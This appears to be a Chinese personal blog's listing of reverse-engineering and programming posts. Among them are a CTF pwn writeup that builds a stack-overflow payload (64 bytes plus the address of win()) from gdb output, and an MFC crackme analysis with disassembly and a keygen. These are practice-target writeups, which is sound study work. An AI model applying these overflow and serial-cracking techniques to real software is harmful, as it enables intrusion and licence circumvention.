IE8、IE9使用OD动态跟踪ActiveX控件方法

2016年11月5日 没有评论
  1. 在IE8、IE9上调试ocx文件ActiveX控件时发现,按照网上流程下bp oleaut32.DispCallFunc断点并没有断下,看可执行模块里没有加载的文件,后来想到IE8,IE9是多进程的,每个进程加载的模块和功能不一样,遂改为单进程模式。
  2. IE改为单进程模式的方法在注册表HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main添加一个TabProcGrowth的DWORD值,数据值为0就可以了,这时打开IE不在有多个进程。OD附加发现我要分析的模块已经在加载目录里了。在下DispCallFunc函数断点,OD就停下来,F8到call ecx这句代码上,F7进入看下模块名是否是自己要分析的,不是就F9运行,直到观察到自己的模块。

分类: 未分类 标签:

实现屏幕截图并保存为png

2016年10月21日 没有评论

程序通过创建桌面HDC,CreateCompatibleBitmap建立位图,并使用GDI+压缩位图文件,保存为png格式文件,这样减小了体积,也保证图片质量,程序在VS2015下编译通过,在Xp和win10上下可以正常使用。

#include <windows.h>
#include <gdiplus.h>
//use  cstring
#include <atlstr.h>

#pragma comment(lib, "gdiplus.lib")


using namespace Gdiplus;

int GetEncoderClsid(const WCHAR* format, CLSID* pClsid)
{
	UINT  num = 0;          // number of image encoders  
	UINT  size = 0;         // size of the image encoder array in bytes  

	ImageCodecInfo* pImageCodecInfo = NULL;

	Gdiplus::GetImageEncodersSize(&num, &size);
	if (size == 0)
		return -1;  // Failure  

	pImageCodecInfo = (ImageCodecInfo*)(malloc(size));
	if (pImageCodecInfo == NULL)
		return -1;  // Failure  

	Gdiplus::GetImageEncoders(num, size, pImageCodecInfo);

	for (UINT j = 0; j < num; ++j)
	{
		if (wcscmp(pImageCodecInfo[j].MimeType, format) == 0)
		{
			*pClsid = pImageCodecInfo[j].Clsid;
			free(pImageCodecInfo);
			return j;  // Success  
		}
	}

	free(pImageCodecInfo);
	return -1;  // Failure  
}

void CaptureScreen()
{
	int nScreenWidth = GetSystemMetrics(SM_CXSCREEN);
	int nScreenHeight = GetSystemMetrics(SM_CYSCREEN);
	HWND hDesktopWnd = GetDesktopWindow();
	HDC hDesktopDC = GetDC(hDesktopWnd);
	HDC hCaptureDC = CreateCompatibleDC(hDesktopDC);
	HBITMAP hCaptureBitmap = CreateCompatibleBitmap(hDesktopDC, nScreenWidth, nScreenHeight);
	SelectObject(hCaptureDC, hCaptureBitmap);
	BitBlt(hCaptureDC, 0, 0, nScreenWidth, nScreenHeight, hDesktopDC, 0, 0, SRCCOPY);
	//保存

	//初始化GDI
	Gdiplus::GdiplusStartupInput gdiplusStartupInput;
	ULONG_PTR gdiplusToken;
	if (Gdiplus::GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL) != Ok)
	{
		;
	}

	SYSTEMTIME Systime;
	GetLocalTime(&Systime);
	CString szFileName;
	szFileName.Format(L"%u-%u-%u-%02u%02u.png",
		Systime.wYear, Systime.wMonth, Systime.wDay, Systime.wHour, Systime.wMinute);

	CLSID pngClsid;
	GetEncoderClsid(L"image/png", &pngClsid);
	Gdiplus::Bitmap *pbmSrc = Gdiplus::Bitmap::FromHBITMAP(hCaptureBitmap, NULL);
	if (pbmSrc->Save(szFileName, &pngClsid) == Ok) {
		;
	}
	//卸载GDI
	Gdiplus::GdiplusShutdown(gdiplusToken);

	DeleteObject(hCaptureBitmap);
	ReleaseDC(hDesktopWnd, hDesktopDC);
	DeleteDC(hCaptureDC);
	
}

int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
	_In_opt_ HINSTANCE hPrevInstance,
	_In_ LPWSTR    lpCmdLine,
	_In_ int       nCmdShow)
{
	CaptureScreen();
	return 0;
}
分类: C/C++相关 标签: , , ,

Python调用微信支付统一下单接口

2016年9月22日 没有评论

笔记,不多说,直接上代码

# -*- coding: utf-8 -*-

import urllib
import urllib2
import requests
import random
import hashlib
import socket
import sys

def GetHostIpAddr():
	name = socket.getfqdn(socket.gethostname())
	addr = socket.gethostbyname(name)
	return addr

def GetRandomStr():	
	m2 = hashlib.md5()   
	m2.update(str(random.randint(10000, 99999999999999999)))   
	result = m2.hexdigest()	
	return result.upper()

def XmlData(id):
	appidvalue = "填写自己的appid" #appid
	attachvalue ="PayTest"
	mch_idvalue = "填写自己的mchid" #mch_id
	nonce_strvalue = GetRandomStr()
	bodyvalue = "NATIVETest"
	out_trade_novalue = id
	total_feevalue = "998"	#价格
	spbill_create_ipvalue ="192.168.1.3"
	notify_urlvalue = "http://www.baidu.com" #用户回调URL地址
	trade_typevalue = "NATIVE"
	product_idvalue = "12235413214070356458058"
	key = "填写自己的校验key" #用户配置
	
	formatstr = 'appid=%s&attach=%s&body=%s&mch_id=%s&nonce_str=%s&notify_url=%s&out_trade_no=%s&product_id=%s'\
	'&spbill_create_ip=%s&total_fee=%s&trade_type=%s&key=%s'%(appidvalue,attachvalue,bodyvalue,mch_idvalue,nonce_strvalue,\
	notify_urlvalue,out_trade_novalue,product_idvalue,spbill_create_ipvalue,total_feevalue,trade_typevalue,key)
		
	print formatstr	
	mobj = hashlib.md5()   
	mobj.update(formatstr)
	signvalue = mobj.hexdigest()
	signvalue = signvalue.upper()
	print signvalue
	
	xmlstart = "<xml>\r\n"
	appid = "<appid>"+appidvalue+"</appid>\r\n"
	attach = "<attach>"+attachvalue+"</attach>\r\n"
	mch_id = "<mch_id>"+mch_idvalue+"</mch_id>\r\n"
	nonce_str = "<nonce_str>"+nonce_strvalue+"</nonce_str>\r\n"
	body = "<body>"+bodyvalue+"</body>\r\n"
	out_trade_no ="<out_trade_no>"+out_trade_novalue+"</out_trade_no>\r\n"
	total_fee = "<total_fee>"+total_feevalue+"</total_fee>\r\n"
	spbill_create_ip = "<spbill_create_ip>"+spbill_create_ipvalue+"</spbill_create_ip>\r\n"
	notify_url = "<notify_url>"+notify_urlvalue+"</notify_url>\r\n"
	trade_type = "<trade_type>"+trade_typevalue+"</trade_type>\r\n"
	product_id = "<product_id>"+product_idvalue+"</product_id>\r\n"
	sign = "<sign>"+signvalue+"</sign>\r\n"
	xmlend = "</xml>" 
	result = xmlstart+appid+attach+mch_id+nonce_str+body+out_trade_no+total_fee+spbill_create_ip+notify_url+trade_type+product_id+sign+xmlend
	print result
	return result
	
def Post(data):
	url = "https://api.mch.weixin.qq.com/pay/unifiedorder"
	headers = {"Content-Type":"text/xml"}
	rep = urllib2.Request(url=url,headers =headers,data=data)
	response = urllib2.urlopen(rep)
	res = response.read()
	return res
	
if __name__ == "__main__":
	type = sys.getfilesystemencoding()	
	result = Post(XmlData("123511654189415"))
	print result.decode('utf-8').encode(type)

CaptainHook Hook测试代码

2016年9月1日 没有评论
#include <iostream>
#include <string>
#include <windows.h>
#include "CaptainHook.h"

#pragma comment(lib,"CaptainHook.lib")

typedef int (WINAPI *PfuncMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);


////////////
int WINAPI MyMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
	return printf("Test Hook!\n");
}




int main() {

	PfuncMessageBoxA mymessagebox;
	HMODULE hmodule = LoadLibraryA("User32.dll");
	mymessagebox = (PfuncMessageBoxA)GetProcAddress(hmodule, "MessageBoxA");

	CaptainHook *pChook = new CaptainHook(&(void *&)mymessagebox, MyMessageBoxA);
	Sleep(100);	
	MessageBoxA(NULL, "test", "test", MB_OK);
	pChook->~CaptainHook();
	system("pause");
	return 0;
}

运行结果:

分类: C/C++相关 标签: ,

CFF2016 ctf Writeup

2016年6月20日 没有评论

PWN100 Writeup:

	
int __cdecl main()
{
  int v1; // [sp+1Ch] [bp-44h]@1
  void (*v2)(void); // [sp+5Ch] [bp-4h]@1

  v2 = lose;
  __isoc99_scanf("%s", &v1);
  v2();
  return 0;
}

IDA F5可以知道 现在是调用lose这个函数,但是scanf没有做长度检查,可以溢出覆盖改变流程,然后调用win函数,

方便定位我使用pattern_create.py生成一个长度为200的字符串测试溢出位置:

命令:pattern_create.py create 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

gdb调试,观察eip地址

(gdb) r
Starting program: /root/Desktop/100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Program received signal SIGSEGV, Segmentation fault.
0x63413163 in ?? ()
(gdb) print $eip
$1 = (void (*)()) 0x63413163
(gdb)

Eip的地址是0x63413163,
再次使用pattern_create.py计算长度
pattern_create.py offset 0x63413163
64
64个字符就开始溢出了,所以我们的payload就是A*64+addr,地址就是我们要win函数地址

text:0804861B                 public win
.text:0804861B win             proc near
.text:0804861B                 push    ebp
.text:0804861C                 mov     ebp, esp
.text:0804861E                 sub     esp, 18h
.text:08048621                 mov     dword ptr [esp], offset aYouWin ; "you win!\n"
.text:08048628                 call    _puts
.text:0804862D                 call    read_flag
.text:08048632                 leave
.text:08048633                 retn
.text:08048633 win             endp

也就是0x0804861B,小端反写\x1B\x86\x04\x08

修改成这样

实际环境使用python写发包程序

分类: Crackme相关 标签: ,

在Centos 7上安装mips交叉编译环境

2016年5月5日 没有评论

一、安装Buildroot

Buildroot就是一个自动化生成交叉编译工具的工具,可以方便的生成X86_64、ARM、MIPS等多种平台下的交叉编译工具包。它大大缩减了生成交叉编译器的难度,让嵌入式开发变得更加轻松愉快。

下载buildroot-2016.02.tar.gz,放在自己的home目录下,使用tar -zxvf buildroot-2016.02.tar.gz解包文件,切换到目录下,在终端执行make clean;在执行make enuconfig。这时如果有错误,使用yum安装缺少的包。一般需要 ncursesyum ncurses-devel的支持,使用命令yum install ncursesyum ncurses-devel安装。安装完成后再make menuconfig进行Buildroot进行配置。

配置前先运行make clean

make menuconfig

对各个选项进行配置:

Target options选项

根据实际需要进行配置,我的平台架构是MIPS64 r2 big endian;配置如上图。

Toolchain 选项

Kernel Headers这里要改成你的平台相应的版本,C library也要修改成对应的。

其他选项根据嵌入式平台作相应的修改,配置完成后记得Save

二、编译

配置好Buildroot后就可以进行编译了,在终端上执行make,接下来就是漫长的编译过程,编译的速度取决与你的机器性能和网速,记得不要断开网络连接。

在编译过程中可能出错,查看出错信息;一般都是需要安装缺少的包,在centos 7 x86_64上缺少了gcc-c++perl-Thread-Queue、perl-Data-Dumper.x86_64,在终端运行yum install gcc-c++ perl-Thread-Queue perl-Data-Dumper.x86_64安装后在make,两个小时后编译完成了。

三、环境变量配置

编译完成后,在目录/home/wormfox/mips/buildroot-2016.02/output/host/usr/bin下生成了mips架构的编译工具:

为了方便使用,在修改/etc/profile文件,vim #vi /etc/profile添加export PATH=/home/wormfox/mips/buildroot-2016.02/output/host/usr/bin:$PATH,保存退出vim。

测试代码:

#include <stdio.h>
int main(void)
{
    printf("Hello World\n");
    return 0;
}

编译mips64-linux-gcc hellomips.c -o hellomips

环境搭建完成。

分类: mips学习 标签: ,

tuts4you论坛注册时问题密码表

2015年12月14日 没有评论

tuts4you论坛注册时问题密码表!

https://forum.tuts4you.com/index.php?

what
kind
157,146,' ',of
146,162,165,151,164,' ',fruit
167,141,163,' ',was
165,163,145,144,' ',used
164,157,' ',to
156,141,155,145,' ',name
141,' ',a
143,157,155,160,165,164,145,162,' ',computer
151,156,' ',in
061,71,70,64,'?',0 1984

000 nul 001 soh 002 stx 003 etx 004 eot 005 enq 006 ack 007 bel
010 bs 011 ht 012 nl 013 vt 014 np 015 cr 016 so 017 si
020 dle 021 dc1 022 dc2 023 dc3 024 dc4 025 nak 026 syn 027 etb
030 can 031 em 032 sub 033 esc 034 fs 035 gs 036 rs 037 us
040 sp 041 ! 042 " 043 # 044 $ 045 % 046 & 047 '
050 ( 051 ) 052 * 053 + 054 , 055 - 056 . 057 /
060 0 061 1 062 2 063 3 064 4 065 5 066 6 067 7
070 8 071 9 072 : 073 ; 074 < 075 = 076 > 077 ?
100 @ 101 A 102 B 103 C 104 D 105 E 106 F 107 G
110 H 111 I 112 J 113 K 114 L 115 M 116 N 117 O
120 P 121 Q 122 R 123 S 124 T 125 U 126 V 127 W
130 X 131 Y 132 Z 133 [ 134 \ 135 ] 136 ^ 137 _
140 ` 141 a 142 b 143 c 144 d 145 e 146 f 147 g
150 h 151 i 152 j 153 k 154 l 155 m 156 n 157 o
160 p 161 q 162 r 163 s 164 t 165 u 166 v 167 w
170 x 171 y 172 z 173 { 174 | 175 } 176 ~ 177 del

分类: Crackme相关 标签:

Linux so 文件动态调用

2015年12月1日 没有评论

调试so文件时方便调用,没有做错误处理!

调用时先控制台运行
export LD_LIBRARY_PATH=./

编译时gcc main.c -ldl

代码:

//gcc main.c -ldl

#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>

#define DWORD unsigned char

typedef void (*myxxxxx)(char *a1, DWORD *a2, char *a3, int a4, int a5);

int main()
{

	char pStr[64] = { 0 };
	void *g_hASclient;
	DWORD len = 0;
	myxxxxx g_sh_EnAndDe;

	g_hASclient = dlopen("./xxxx.so", 2);
	g_sh_EnAndDe = (myxxxxx)dlsym(g_hASclient, "xxxxx");

	g_sh_EnAndDe(pStr, &len, "123456", 6, 1);

	printf("%s\n", pStr);
	printf("Hello world!\n");
	return 0;
}

假设有xxxx.so这个文件,直接放在和程序相同目录下直接运行./a.out就好了!

分类: C/C++相关 标签:

MFC框架一个简单的CM分析

2015年9月22日 没有评论

这个CM的算法很简单,这里主要记录下找按钮事件的方法。当然,这个程序可以通过查找关键字的方法找到关键点,但是我不采用它。下面,我们来分析吧,如有错误,请指正,不胜感激!

一、找按钮事件:
用OD载入程序,运行程序,等待程序初始化完成,这时,在OD的查看菜单下找到窗口这个功能,打开窗口对话框,也可以点击工具条上的"W"按钮。

这时,看见Button,这个就按钮了,如果没有看见,右键刷新下就行,我们需要在Button这一行下消息断点,右键->在ClassProc上设置断点,设置如图:

这里的0x202号就是鼠标左键按下的消息,点击确定。单击程序按键,程序停在了user32的系统领空下,我们打开OD内存镜像窗口(快捷键Alt+M),在代码段(.text段)下访问断点,也就是F2断点,F9运行到达程序领空。

00401A76   .- FF25 E8204000 jmp dword ptr ds:[<&MFC42.#?WindowProc@C>;  mfc42.#?WindowProc@CWnd@@MAEJIIJ@Z_6374
00401A7C   .- FF25 EC204000 jmp dword ptr ds:[<&MFC42.#?OnAmbientPro>;  mfc42.#?OnAmbientProperty@CWnd@@UAEHPAVCOleControlSite@@JPAUtagVARIANT@@@Z_4353
00401A82   .- FF25 F0204000 jmp dword ptr ds:[<&MFC42.#?PreTranslate>;  mfc42.#?PreTranslateMessage@CDialog@@UAEHPAUtagMSG@@@Z_5280
00401A88   .- FF25 F4204000 jmp dword ptr ds:[<&MFC42.#?GetSuperWndP>;  mfc42.#?GetSuperWndProcAddr@CWnd@@MAEPAP6GJPAUHWND__@@IIJ@ZXZ_3798
00401A8E   .- FF25 F8204000 jmp dword ptr ds:[<&MFC42.#?OnNotify@CWn>;  mfc42.#?OnNotify@CWnd@@MAEHIJPAJ@Z_4837
00401A94   .- FF25 FC204000 jmp dword ptr ds:[<&MFC42.#?OnCommand@CW>;  mfc42.#?OnCommand@CWnd@@MAEHIJ@Z_4441
00401A9A   .- FF25 00214000 jmp dword ptr ds:[<&MFC42.#?EndModalLoop>;  mfc42.#?EndModalLoop@CWnd@@UAEXH@Z_2648
00401AA0   .- FF25 04214000 jmp dword ptr ds:[<&MFC42.#?ContinueModa>;  mfc42.#?ContinueModal@CWnd@@UAEHXZ_2055
00401AA6   .- FF25 08214000 jmp dword ptr ds:[<&MFC42.#?WinHelpA@CWn>;  mfc42.#?WinHelpA@CWnd@@UAEXKI@Z_6376
00401AAC   .- FF25 0C214000 jmp dword ptr ds:[<&MFC42.#?GetScrollBar>;  mfc42.#?Update@XOleObject@COleControl@@UAGJXZ_6324
00401AB2   .- FF25 10214000 jmp dword ptr ds:[<&MFC42.#?OnToolHitTes>;  mfc42.#?OnToolHitTest@CWnd@@UBEHVCPoint@@PAUtagTOOLINFOA@@@Z_5065
00401AB8   .- FF25 14214000 jmp dword ptr ds:[<&MFC42.#?CalcWindowRe>;  mfc42.#?CalcWindowRect@CWnd@@UAEXPAUtagRECT@@I@Z_1727
00401ABE   .- FF25 18214000 jmp dword ptr ds:[<&MFC42.#?PreCreateWin>;  mfc42.#?PreCreateWindow@CWnd@@UAEHAAUtagCREATESTRUCTA@@@Z_5261
00401AC4   .- FF25 1C214000 jmp dword ptr ds:[<&MFC42.#?DestroyWindo>;  mfc42.#?DestroyWindow@CWnd@@UAEHXZ_2446
00401ACA   .- FF25 20214000 jmp dword ptr ds:[<&MFC42.#?Create@CWnd@>;  mfc42.#?Create@CWnd@@UAEHPBD0KABUtagRECT@@PAV1@IPAUCCreateContext@@@Z_2124
00401AD0   .- FF25 24214000 jmp dword ptr ds:[<&MFC42.#?PreSubclassW>;  mfc42.#?OnQuit@CHtmlView@@UAEXXZ_6847
00401AD6   .- FF25 28214000 jmp dword ptr ds:[<&MFC42.#?OnFinalRelea>;  mfc42.#?OnFinalRelease@CWnd@@UAEXXZ_4627
00401ADC   .- FF25 2C214000 jmp dword ptr ds:[<&MFC42.#?OnCmdMsg@CDi>;  mfc42.#?OnCmdMsg@CPropertySheet@@UAEHIHPAXPAUAFX_CMDHANDLERINFO@@@Z_4431

往下找到OnCmdMsg函数,这里是MFC的函数跳转表,在这个JMP上下F2断点,F9运行之,停在OnCmdMsg后F8走到MFC42领空,再在在代码段(.text段)下访问断点,F9运行到达程序领空,但是是怎样的代码。

00401380   .  B8 F0224000   mov eax,CM.004022F0
00401385   .  C3            retn

显然不是按钮事件代码,继续F8走到MFC42领空,在代码段(.text段)下访问断点,F9运行到达程序领空。

004015C0 . 6A FF push -0x1
004015C2 . 68 081E4000 push CM.00401E08 ; SE 处理程序安装
004015C7 . 64:A1 0000000&gt;mov eax,dword ptr fs:[0]
004015CD . 50 push eax
004015CE . 64:8925 00000&gt;mov dword ptr fs:[0],esp
004015D5 . 83EC 6C sub esp,0x6C
004015D8 . 53 push ebx
004015D9 . 55 push ebp
004015DA . 8BE9 mov ebp,ecx
004015DC . 56 push esi
004015DD . 57 push edi
004015DE . 8D4C24 10 lea ecx,dword ptr ss:[esp+0x10]
004015E2 . E8 19050000 call
004015E7 . 33FF xor edi,edi
004015E9 . 8D4C24 18 lea ecx,dword ptr ss:[esp+0x18]
004015ED . 89BC24 840000&gt;mov dword ptr ss:[esp+0x84],edi

这个就是按钮事件处理函数了,0x4015C0就是入口地址!
二、简单的方法:

可以看到入口点地址和手动查找是一样的。

三、算法分析:

00401605   .  C68424 8C0000>mov byte ptr ss:[esp+0x8C],0x1
0040160D   .  897C24 1C     mov dword ptr ss:[esp+0x1C],edi
00401611   .  E8 14050000   call <jmp.&MFC42.#?GetDlgItemTextA@CWnd@>
00401616   .  8B7424 10     mov esi,dword ptr ss:[esp+0x10]          ;  esi= 假码
0040161A   .  8B46 F8       mov eax,dword ptr ds:[esi-0x8]           ;  长度
0040161D   .  83F8 0A       cmp eax,0xA                              ;  比较注册码长度是否等于10
00401620   .  74 0C         je short CM.0040162E                     ;  等于跳 要跳
00401622   .  57            push edi
00401623   .  8BCD          mov ecx,ebp
00401625   .  E8 FA040000   call <jmp.&MFC42.#?EndDialog@CDialog@@QA>
0040162A   .  8B7424 10     mov esi,dword ptr ss:[esp+0x10]          ;  mfc42.6DFCA5C4
0040162E   >  8B5E F8       mov ebx,dword ptr ds:[esi-0x8]
00401631   .  33C9          xor ecx,ecx
00401633   .  3BDF          cmp ebx,edi                              ;  不能等于0
00401635   .  7E 2A         jle short CM.00401661                    ;  ebx<=edi跳 edi=0
00401637   .  8B3D 88314000 mov edi,dword ptr ds:[0x403188]          ;  edi =BlAcK-WiNd
0040163D   .  2BFE          sub edi,esi
0040163F   >  8D0431        lea eax,dword ptr ds:[ecx+esi]           ;  取BlAcK-WiNd的第一位
00401642   .  8A1407        mov dl,byte ptr ds:[edi+eax]
00401645   .  0FBE00        movsx eax,byte ptr ds:[eax]              ;  取注册码第一位
00401648   .  0FBED2        movsx edx,dl                             ;  扩展 edx=B
0040164B   .  33C1          xor eax,ecx                              ;  关键算法 第一位xor 0 第二位xor1
0040164D   .  3BD0          cmp edx,eax
0040164F   .  75 04         jnz short CM.00401655                    ;  不能跳
00401651   .  FF4424 14     inc dword ptr ss:[esp+0x14]
00401655   >  41            inc ecx
00401656   .  3BCB          cmp ecx,ebx
00401658   .^ 7C E5         jl short CM.0040163F
0040165A   .  837C24 14 0A  cmp dword ptr ss:[esp+0x14],0xA
0040165F   .  74 0B         je short CM.0040166C
00401661   >  6A 00         push 0x0
00401663   .  8BCD          mov ecx,ebp
00401665   .  E8 BA040000   call <jmp.&MFC42.#?EndDialog@CDialog@@QA>
0040166A   .  EB 44         jmp short CM.004016B0
0040166C   >  6A 00         push 0x0
0040166E   .  6A 00         push 0x0
00401670   .  68 78304000   push CM.00403078                         ;  Congratulations! keep trying......
00401675   .  E8 A4040000   call <jmp.&MFC42.#?AfxMessageBox@@YGHPBD>

四、注册码生成:

char key[] = "BlAcK-WiNd";
	for (int i = 0; i < strlen(key) + 1; i++)
		key[i] = key[i] ^ i;
	
	printf("Key = %s\n",key);

原创文章,转载请注明连接!

分类: Crackme相关 标签: ,

Windows下动态调用API笔记

2015年8月12日 没有评论
typedef int  (WINAPI *pMessageboxW)(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);
int main()
{
	HMODULE hmodule;
	pMessageboxW mymessagebox;
	hmodule = LoadLibraryW(_T("User32.dll"));
	mymessagebox = (pMessageboxW)GetProcAddress(hmodule,"MessageBoxW");
	mymessagebox(NULL, _T("动态调用测试"), _T("test"), MB_OK);
	FreeLibrary(hmodule);
	return 0;
}

在动态调用api时,就用到以上二个函数,但是在定义的时候记得用stdcall方式,不然程序会崩掉的,C++默认的调用方式是_declspec,必须要 (WINAPI *pMessageboxW)这样,WINAPI其实是一个宏,而它对应的就是 #define WINAPI __stdcall!

分类: Windows编程 标签: